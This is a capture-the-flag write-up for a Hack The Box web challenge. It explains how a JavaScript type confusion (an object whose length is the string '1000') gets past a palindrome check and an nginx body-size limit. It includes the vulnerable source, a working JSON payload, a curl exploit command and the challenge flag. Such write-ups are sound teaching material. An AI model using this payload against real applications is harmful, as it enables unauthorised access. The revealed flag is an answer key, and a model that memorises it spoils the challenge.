Magical Palindrome
Author: 0xIDA
Platform: HTB · Category: web · Difficulty: Very Easy
Platform: Hack The Box
Category: Web
Difficulty: Very Easy
Flag: HTB{Lum0s_M@x!ma}
Solvers
Summary
A Hono/Node.js web app that asks for a palindrome string of at least 1000 characters. A nginx client_max_body_size of 75 bytes prevents sending a long string directly. The vulnerability is a JavaScript type confusion: if palindrome is an object where length is the string "1000" (not a number), the length check passes while Array("1000") only creates a 1-element array, running the palindrome check only once.
Target
http://154.57.164.74:30240(HTB endpoint)
Source Analysis
index.mjs (relevant parts)
const IsPalinDrome = (string) => {
if (string.length < 1000) {
return 'Tootus Shortus';
}
for (const i of Array(string.length).keys()) {
const original = string[i];
const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') {
return 'Notter Palindromer!!';
}
}
return null;
}
nginx.conf
client_max_body_size 75;
Exploitation
Step 1: Identify the Type Confusion
The IsPalinDrome function takes a JSON-parsed value and accesses:
string.length— used for length check ANDArray()constructorstring[i]— indexed accesstypeof string[i]— type check
When palindrome is an object with length: "1000" (string):
- Length check:
"1000" < 1000→ JS coerces"1000"to1000→1000 < 1000=false→ PASSES! - Array constructor:
Array("1000")→ Type isString, notNumber→ creates single-element array["1000"](not 1000 slots) - Iteration:
.keys()on["1000"]yields only index0→ loop runs once - Palindrome check: Set
obj[0] = "a"andobj[999] = "a"→ both are strings, both equal → PASSES!
Step 2: Craft Payload
{"palindrome":{"0":"a","999":"a","length":"1000"}}
Size: 50 bytes (well within the 75-byte limit)
Step 3: Exploit
curl -s -X POST http://154.57.164.74:30240/ \
-H 'Content-Type: application/json' \
-d '{"palindrome":{"0":"a","999":"a","length":"1000"}}'
Response: Hii Harry!!! HTB{Lum0s_M@x!ma}
Why This Works
| Condition | Normal String | Exploit (Object) |
|---|---|---|
length >= 1000 | 1000 chars = large body | "1000" < 1000 = false |
| Body size | 1000+ bytes → blocked by nginx (75 bytes) | 50 bytes ✓ |
string[i] === string[length-i-1] | Requires full palindrome | Only i=0 checked ✓ |
typeof string[i] === 'string' | Always true for strings | Set obj[0] = "a" ✓ |
The key difference: When Array() receives a non-numeric argument, it doesn't create a sparse array — it creates a single-element array with that argument. So Array("1000") = ["1000"], not Array(1000) = 1000 empty slots.
Tools Used
curlfor HTTP requestsnodefor local JS verification- Source code analysis from extracted challenge files
Lessons Learned
- JavaScript's
Array()constructor has different behavior for number vs string arguments — a classic JS quirk client_max_body_sizecan be bypassed by keeping the body small while exploiting JS type confusion- Always check what types can enter
Array()— non-numeric arguments truncate the loop